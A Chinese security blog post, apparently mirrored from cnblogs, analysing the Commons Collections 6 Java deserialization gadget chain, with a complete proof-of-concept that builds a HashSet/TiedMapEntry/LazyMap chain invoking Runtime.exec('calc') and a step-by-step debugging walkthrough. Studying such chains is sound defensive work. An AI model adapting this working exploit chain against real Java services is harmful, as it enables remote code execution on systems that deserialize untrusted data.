zoukankan      html  css  js  c++  java
  • Java安全之Commons Collections6分析

    Java安全之Commons Collections6分析

    0x00 前言

    其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别。在CC6链中也和CC5的利用链类似,但是CC6链中使用的是HashSet去触发LazyMap的get方法。而在CC5中使用的是BadAttributeValueExpException

    0x01 POC分析

    这里还是去简化一下POC代码,因为ysoserial做了很多优化和封装。所以在第一次看该代码的时候,虽然也能看懂,但是不太容易理清思路。

    package com.test;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import org.apache.commons.collections4.keyvalue.TiedMapEntry;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.Map;
    
    public class cc6 {
    
        public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
    
                Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
    
                Transformer[] transformers=new Transformer[]{
                        new ConstantTransformer(Runtime.class),
                        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
                };
    
                Map map=new HashMap();
                Map lazyMap=LazyMap.decorate(map,Testtransformer);
                TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
    
                HashSet hashSet=new HashSet(1);
                hashSet.add(tiedMapEntry);
                lazyMap.remove("test1");
    
                //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
                Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
                field.setAccessible(true);
                field.set(Testtransformer, transformers);
    
                ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
                objectOutputStream.writeObject(hashSet);
                objectOutputStream.close();
    
                ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
                objectInputStream.readObject();
    
        }
    }
    

    以上这段代码是从网上找来的POC,里面提取出来的重要的代码。首先还是得来执行一遍,POC代码是否能够去正常运行。

    能够正常执行,后面就来分析一下POC的构造。前面的一段代码和CC1一样,就不做赘述了。

    Map lazyMap=LazyMap.decorate(map,Testtransformer);
    TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
    

    这段代码也是在构造CC5链中出现的,将mapLazyMap,调用get方法就会调用transform方法。而这里是再使用了TiedMapEntry类去将LazyMap实例化对象传入进去。调用到TiedMapEntrygetValue就会在getValue内部去调用get方法。

    HashSet hashSet=new HashSet(1);
    hashSet.add(tiedMapEntry);
    lazyMap.remove("test1");
     //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
    
    

    这一步里使用的是HashSet来进行构造,将前面的TiedMapEntry实例化对象添加进去。后面还调用了lazyMap.remove方法将test1给移除,这是因为在执行的时候如果没使用lazyMap.removetest1给移除掉将不会进入到该判断语句里面去。

    Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
    field.setAccessible(true);
    field.set(Testtransformer, transformers);
    

    上面这一段其实就为了防止在序列化的时候,在本地将构造好的命令给执行一遍。相当于

    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers)
    

    这一段代码。

    0x02 POC调试

    readObject复写点打个断点进行调试,也就是HashsetreadObject

    HashsetreadObject方法中,回去调用mapput方法。这里的map为Hashmap的对象,所以这里调用的是Hashmapput方法,跟进一下该方法。

    而在这一步又会去调用hash方法并且传入key作为参数。还需要再跟进一下hash方法。

    跟进到方法里面会发现,方法内部还会去调用keyhashcode,而这里的keyTiedMapEntry的实例化对象。调用的则是TiedMapEntryhashcode。跟进一下hashcode方法。

    在此处就可以看到hashcode还会去调用getValue方法,下面的内容其实就和CC5的利用链一样了。

    来到getValue看看

    这里就会去调用this.map.get()方法,this.mapLazyMap的实例化对象。使用的是下面这段POC代码对this.map进行赋值。

    TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
    

    为了更清晰整一条利用链,再跟进一下LazyMap的get方法。

    这里在前面提到过,需要lazyMap.remove方法移除前面填入的KEY才能够进行到该if判断语句里面去执行transform方法,否则就直接走的是else的方法体内容了。达不到所要的效果,利用链也没法进行执行命令了。

    其实到这一步已经很清晰了,下面的就不做分析了,前面的文章分析过很多回了。

    利用链

    HashSet.readObject->HashMap.put
    ->HashMap.hash->TiedMapEntry.hashCode
    ->TiedMapEntry.getValue->LazyMap.get
    ->ChainedTransformer.transform->InvokerTransformer.transform
    ->Runtime.exec
    

    0x03 结尾

    本篇文章其实也是只挑了一些重点去做分析,其他的都是地方,和前面的都一样就没必要再去分析一遍了。

    WX:TG9yaTI1NDgyNjYxNDU= 欢迎各位师傅来一起做技术交流
  • 相关阅读:
    (原)Lazarus 异构平台下多层架构思路、DataSet转换核心代码
    (学)新版动态表单研发,阶段成果3
    (学) 如何将 Oracle 序列 重置 清零 How to reset an Oracle sequence
    (学)XtraReport WebService Print 报错
    (原)三星 i6410 刷机 短信 无法 保存 解决 办法
    (原) Devexpress 汉化包 制作工具、测试程序
    linux下网络配置
    apache自带ab.exe小工具使用小结
    Yii::app()用法小结
    PDO使用小结
  • 原文地址:https://www.cnblogs.com/nice0e3/p/13892510.html
Copyright © 2011-2022 走看看